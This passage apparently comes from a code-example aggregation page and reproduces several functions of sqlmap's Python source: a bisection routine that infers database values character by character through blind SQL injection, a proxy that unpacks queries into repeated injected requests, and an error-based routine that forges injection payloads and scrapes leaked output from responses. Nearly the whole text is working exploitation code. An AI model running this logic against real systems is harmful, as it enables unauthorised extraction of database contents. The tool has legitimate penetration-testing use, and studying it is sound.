                            finally:
                                firstCheck = True

                        elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                            if charTbl[(len(charTbl) >> 1)] < ord(' '):
                                try:
                                    # favorize last char check if current value inclines toward 0
                                    position = charTbl.index(1)
                                except ValueError:
                                    pass
                                finally:
                                    lastCheck = True

                    if position is None:
                        position = (len(charTbl) >> 1)

                    posValue = charTbl[position]
                    falsePayload = None

                    if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx, posValue))
                        falsePayload = safeStringFormat(
                            payload,
                            (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                    else:
                        # e.g.: ... > '%c' -> ... > ORD(..)
                        markingValue = "'%s'" % CHAR_INFERENCE_MARK
                        unescapedCharValue = unescaper.escape(
                            "'%s'" % decodeIntToUnicode(posValue))
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, unescapedCharValue)
                        falsePayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, NULL)

                    if timeBasedCompare:
                        if kb.responseTimeMode:
                            kb.responseTimePayload = falsePayload
                        else:
                            kb.responseTimePayload = None

                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(getTechnique())

                    if not timeBasedCompare and getTechniqueData() is not None:
                        unexpectedCode |= threadData.lastCode not in (
                            getTechniqueData().falseCode,
                            getTechniqueData().trueCode)
                        if unexpectedCode:
                            if threadData.lastCode is not None:
                                warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode
                            else:
                                warnMsg = "unexpected response detected."

                            warnMsg += " Will use (extra) validation step in similar cases"

                            singleTimeWarnMessage(warnMsg)

                    if result:
                        minValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
                            charTbl = xrange(charTbl[position],
                                             charTbl[-1] + 1)
                    else:
                        maxValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])

                    if len(charTbl) == 1:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(
                                    maxChar + 1,
                                    (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (
                                    retVal == ord('\n')
                                    and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode
                                    ) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if (retried or 0) < MAX_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = "increasing time delay to %d second%s" % (
                                                    conf.timeSec, 's' if
                                                    conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = "turning off time auto-adjustment mechanism"
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl,
                                                       continuousOrder, expand,
                                                       shiftTable,
                                                       (retried or 0) + 1)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
                                            retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
            else:
                if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
                    errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms(
                    )
                    raise SqlmapUnsupportedFeatureException(errMsg)

                candidates = list(originalTbl)
                bit = 0
                while len(candidates) > 1:
                    bits = {}
                    for candidate in candidates:
                        bit = 0
                        while candidate:
                            bits.setdefault(bit, 0)
                            bits[bit] += 1 if candidate & 1 else -1
                            candidate >>= 1
                            bit += 1

                    choice = sorted(bits.items(),
                                    key=lambda _: abs(_[1]))[0][0]
                    mask = 1 << choice

                    forgedPayload = safeStringFormat(
                        payload.replace(
                            INFERENCE_GREATER_CHAR,
                            "&%d%s" % (mask, INFERENCE_GREATER_CHAR)),
                        (expressionUnescaped, idx, 0))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        candidates = [_ for _ in candidates if _ & mask > 0]
                    else:
                        candidates = [_ for _ in candidates if _ & mask == 0]

                    bit += 1

                if candidates:
                    forgedPayload = safeStringFormat(
                        payload.replace(INFERENCE_GREATER_CHAR,
                                        INFERENCE_EQUALS_CHAR),
                        (expressionUnescaped, idx, candidates[0]))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        return decodeIntToUnicode(candidates[0])
示例#9
0
def _goInferenceProxy(expression,
                      fromUser=False,
                      batch=False,
                      unpack=True,
                      charsetType=None,
                      firstChar=None,
                      lastChar=None,
                      dump=False):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    initTechnique(getTechnique())

    query = agent.prefixQuery(getTechniqueData().vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()

    if not unpack:
        return _goInference(payload, expression, charsetType, firstChar,
                            lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
        expression)

    rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = "the SQL query provided has more than one field. "
        infoMsg += "sqlmap will now unpack it into distinct queries "
        infoMsg += "to be able to retrieve the output even if we "
        infoMsg += "are going blind"
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and " FROM " in expression.upper() and (
        (Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or
        (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE
         and not expression.upper().endswith(
             FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))
    ) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
            expression)

        if limitCond:
            test = True

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms(
                ) in FROM_DUMMY_TABLE and expression.upper().endswith(
                        FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                    test = False

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms(
                )].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields,
                                                       countFirstField, 1)

                if " ORDER BY " in countedExpression.upper():
                    _ = countedExpression.upper().rindex(" ORDER BY ")
                    countedExpression = countedExpression[:_]

                if not stopLimit:
                    count = _goInference(payload,
                                         countedExpression,
                                         charsetType=CHARSET_TYPE.DIGITS,
                                         firstChar=firstChar,
                                         lastChar=lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch or count == 1:
                            stopLimit = count
                        else:
                            message = "the SQL query provided can return "
                            message += "%d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit"
                            choice = readInput(message, default='A').upper()

                            if choice == 'A':
                                stopLimit = count

                            elif choice == 'Q':
                                raise SqlmapUserQuitException

                            elif isDigit(choice) and int(choice) > 0 and int(
                                    choice) <= count:
                                stopLimit = int(choice)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif choice in ('#', 'S'):
                                message = "how many? "
                                stopLimit = readInput(message, default="10")

                                if not isDigit(stopLimit):
                                    errMsg = "invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "invalid choice"
                                logger.error(errMsg)

                                return None

                    elif count and not isDigit(count):
                        warnMsg = "it was not possible to count the number "
                        warnMsg += "of entries for the SQL query provided. "
                        warnMsg += "sqlmap will assume that it returns only "
                        warnMsg += "one entry"
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        if not count:
                            warnMsg = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                        return None

                elif (not stopLimit or stopLimit == 0):
                    return None

                try:
                    try:
                        for num in xrange(startLimit, stopLimit):
                            output = _goInferenceFields(
                                expression,
                                expressionFields,
                                expressionFieldsList,
                                payload,
                                num=num,
                                charsetType=charsetType,
                                firstChar=firstChar,
                                lastChar=lastChar,
                                dump=dump)
                            outputs.append(output)
                    except OverflowError:
                        errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
                            startLimit, stopLimit)
                        errMsg += "with switch '--fresh-queries'"
                        raise SqlmapDataException(errMsg)

                except KeyboardInterrupt:
                    print()
                    warnMsg = "user aborted during dumping phase"
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper(
    ).startswith("SELECT ") and " FROM " not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

    outputs = _goInferenceFields(expression,
                                 expressionFields,
                                 expressionFieldsList,
                                 payload,
                                 charsetType=charsetType,
                                 firstChar=firstChar,
                                 lastChar=lastChar,
                                 dump=dump)

    return ", ".join(
        output or ""
        for output in outputs) if not isNoneValue(outputs) else None
示例#10
0
def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
        logger.info("resuming partial value: '%s'" %
                    _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if any(
            Backend.isDbms(dbms)
            for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)
    ) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
        debugMsg = "searching for error chunk length..."
        logger.debug(debugMsg)

        seen = set()
        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)

            if Backend.isDbms(DBMS.ORACLE):
                testQuery = "RPAD('%s',%d,'%s')" % (testChar, current,
                                                    testChar)
            else:
                testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(
                    DBMS.MYSQL) else "REPLICATE", testChar, current)
                testQuery = "SELECT %s" % (agent.hexConvertField(testQuery)
                                           if conf.hexConvert else testQuery)

            result = unArrayizeValue(
                _oneShotErrorUse(testQuery, chunkTest=True))
            seen.add(current)

            if (result or "").startswith(testChar):
                if result == testChar * current:
                    kb.errorChunkLength = current
                    break
                else:
                    result = re.search(r"\A\w+", result).group(0)
                    candidate = len(result) - len(kb.chars.stop)
                    current = candidate if candidate != current and candidate not in seen else current - 1
            else:
                current = current // 2

        if kb.errorChunkLength:
            hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
        else:
            kb.errorChunkLength = 0

    if retVal is None or partialValue:
        try:
            while True:
                check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start,
                                                       kb.chars.stop)
                trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(
                            Backend.isDbms(dbms)
                            for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE,
                                         DBMS.ORACLE)
                    ) and not any(_ in field for _ in ("COUNT", "CASE")
                                  ) and kb.errorChunkLength and not chunkTest:
                        extendedField = re.search(
                            r"[^ ,]*%s[^ ,]*" % re.escape(field),
                            expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(
                                field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (nulledCastedField, offset,
                                              kb.errorChunkLength)

                # Forge the error-based SQL injection request
                vector = getTechniqueData().vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField,
                                                   1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace("[QUERY]", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers, _ = Request.queryPage(payload,
                                                     content=True,
                                                     raise404=False)

                incrementCounter(getTechnique())

                if page and conf.noEscape:
                    page = re.sub(
                        r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" %
                        (kb.chars.start, kb.chars.stop), "", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = firstNotNone(
                    extractRegexResult(check, page),
                    extractRegexResult(
                        check, threadData.lastHTTPError[2]
                        if wasLastResponseHTTPError() else None),
                    extractRegexResult(
                        check,
                        listToStrValue((
                            headers[header] for header in headers
                            if header.lower() != HTTP_HEADER.URI.lower()
                        ) if headers else None)),
                    extractRegexResult(
                        check, threadData.lastRedirectMsg[1]
                        if threadData.lastRedirectMsg
                        and threadData.lastRedirectMsg[0]
                        == threadData.lastRequestUID else None))

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = firstNotNone(
                        extractRegexResult(trimCheck, page),
                        extractRegexResult(
                            trimCheck, threadData.lastHTTPError[2]
                            if wasLastResponseHTTPError() else None),
                        extractRegexResult(
                            trimCheck,
                            listToStrValue((
                                headers[header] for header in headers
                                if header.lower() != HTTP_HEADER.URI.lower()
                            ) if headers else None)),
                        extractRegexResult(
                            trimCheck, threadData.lastRedirectMsg[1]
                            if threadData.lastRedirectMsg
                            and threadData.lastRedirectMsg[0]
                            == threadData.lastRequestUID else None))

                    if trimmed:
                        if not chunkTest:
                            warnMsg = "possible server trimmed output detected "
                            warnMsg += "(due to its length and/or content): "
                            warnMsg += safecharencode(trimmed)
                            logger.warn(warnMsg)

                        if not kb.testMode:
                            check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:
                                                                               2]
                            output = extractRegexResult(
                                check, trimmed, re.IGNORECASE)

                            if not output:
                                check = r"(?P<result>[^\s<>'\"]+)"
                                output = extractRegexResult(
                                    check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()

                if any(
                        Backend.isDbms(dbms)
                        for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE,
                                     DBMS.ORACLE)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and kb.errorChunkLength and len(
                            output) >= kb.errorChunkLength and not chunkTest:
                        offset += kb.errorChunkLength
                    else:
                        break

                    if output and conf.verbose in (1, 2) and not any(
                        (conf.api, kb.bruteMode)):
                        if kb.fileReadMode:
                            dataToStdout(
                                _formatPartialContent(output).replace(
                                    r"\n", "\n").replace(r"\t", "\t"))
                        elif offset > 1:
                            rotator += 1

                            if rotator >= len(ROTATING_CHARS):
                                rotator = 0

                            dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression,
                            "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, six.string_types):
            retVal = htmlUnescape(retVal).replace("<br>", "\n")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal